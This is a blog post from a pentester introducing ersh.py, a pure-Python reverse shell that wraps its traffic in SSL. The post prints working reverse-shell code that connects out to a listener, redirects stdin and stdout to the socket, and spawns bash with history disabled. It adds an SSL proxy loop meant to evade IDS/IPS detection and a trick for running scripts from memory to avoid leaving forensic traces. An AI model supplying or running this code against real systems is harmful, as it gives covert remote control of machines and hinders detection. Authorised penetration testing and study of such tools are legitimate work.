You are here

ersh.py: a pure Python encrypted reverse shell

ivan's picture

Today's article is going to be a short one. Many of you may have read @ropnop's great post on upgrading plain shells to interactive TTYs. While the commands given in the article can solve usability problems, they provide no help on the transport level where several things can go wrong:

  • TTY or no TTY, typing ^C to interrupt a command on the remote host will actually shutdown the netcat listener and leave you with no shell.
  • More importantly, if there is an IDS or IPS worth its salt on the network you're auditing, any outbound shell traffic will be flagged immediately.
  • Sending the reverse shell itself can prove tedious if the victim machine is correctly configured (no compilation tools, no netcat with dangerous options, etc.).

The need for a new tool

For this reason, I set out to find a nice solution for Freedom Fighting, a repository of useful pentesting scripts that I maintain. The prerequisites were as follows:

  • A pure Python implementation : I do my best to curate tools which are as portable as possible, so one thing I look for are scripts with as few dependencies as possible. It needs to run on CentOS boxes with Python 2.6 that haven't been updated for years if need be. For the reasons stated above, native languages that require a compilation step were excluded, but excellent solutions exist.
  • Some kind of encryption needs to be implemented. It doesn't have to have the "military grade" stamp, but protection against Man in the Middle attacks is a plus.
  • The listener is preferably a standard Linux utility. I hate having to use a separate listener for each reverse shell implementation I end up using. Please don't make me store dozens of scripts / binaries whose purpose I'll immediately forget.

To my great surprise, I could find no such program so I decided to write one. While I initially intended to use cryptcat (Blowfish encryption with a pre-shared key) as a receiver, I opted for socat soon after due to how easy it is to make it work with a TTY. As someone told me while working on the script, "socat is excellent at making $thing talk to $thing". When it comes to encryption, socat supports SSL, so that's where I went although the prospect of using OpenSSL never makes me smile.

As I expected, my first attempts at wrapping SSL around a traditional python reverse shell failed miserably. Consider the following code from this repository:

import os
import pty
import socket
 
lhost = "127.0.0.1" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
 
if __name__ == "__main__":
    main()

Simple right? Create a socket, bind stdin, stdout and stderr to it, spawn a PTY and that's it. But if you replace the socket creation line with:

s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM), ssl_version=ssl.PROTOCOL_TLSv1, keyfile=...)
s.connect((lhost, lport))

...you'll encounter strange SSL errors on the listener side, such as SSL3_GET_RECORD:wrong version number, even if you didn't mess up anything in the certificate creation. It turns out that the Python SSL socket is a userspace object, while the handle returned by s.fileno() comes from the kernel. In other words, Python's SSL module wraps Python's representation of the socket, but not the underlying object: as soon as something is written to s.fileno(), it is transmitted to the socat listener as plain text and of course cannot be deciphered properly. Consequence: the whole os.dup2() method cannot be used in this context. The alternative is to spawn the TTY separately and act as a proxy by forwarding the inputs and outputs. The Stack Overflow answer referenced above was kind enough to point out that Python's SSL sockets also don't play nice with select and points out solutions. In the end, the program's "main loop" looks like this:

    # Spawn a PTY
    master, slave = pty.openpty()
    # Run bash inside it
    bash = subprocess.Popen(["/bin/bash"],
                            preexec_fn=os.setsid,
                            stdin=slave,
                            stdout=slave,
                            stderr=slave,
                            universal_newlines=True)
    os.write(master, "%s\n" % FIRST_COMMAND)
 
    try:
        while bash.poll() is None:  # While bash is alive
            r, w, e = select.select([s, master], [], [])  # Wait for data on either the socket or the PTY
 
            if s in r:  # Reading data from the SSL socket
                try:
                    data = s.recv(1024)
                except ssl.SSLError as e:
                    if e.errno == ssl.SSL_ERROR_WANT_READ:
                        continue
                    raise
                if not data:  # End of file.
                    break
                data_left = s.pending()
                while data_left:
                    data += s.recv(data_left)
                    data_left = s.pending()
                os.write(master, data)
            elif master in r:  # Reading data from the PTY.
                s.write(os.read(master, 2048))
    finally:
        s.close()

Not much more complex in the end, but a few hours of trial and error were required to debug SSL errors, and also figure out how to properly interact with the PTY and which file descriptors should be put in raw mode (spoiler: none, apparently). The code is available on GitHub, I hope you'll find it useful in your next engagement!

Running the script from memory

As a parting gift, I also took this opportunity to do some quick research about how to run Python script from memory (i.e. without having to create a .py file on the disk). It's always a good idea to limit one's forensics footprint on a machine, especially where files containing IP addresses are concerned. The following command can be used to run a whole script from the command line - incidentally, you'll notice that all the scripts from the Freedom Fighting collection are contained in a single file.

python - <<'EOF'
a = 1
b = 2
print a+b
EOF

...will output 3. Just replace the sample Python code above with the contents of any script you don't want touching the hard drive!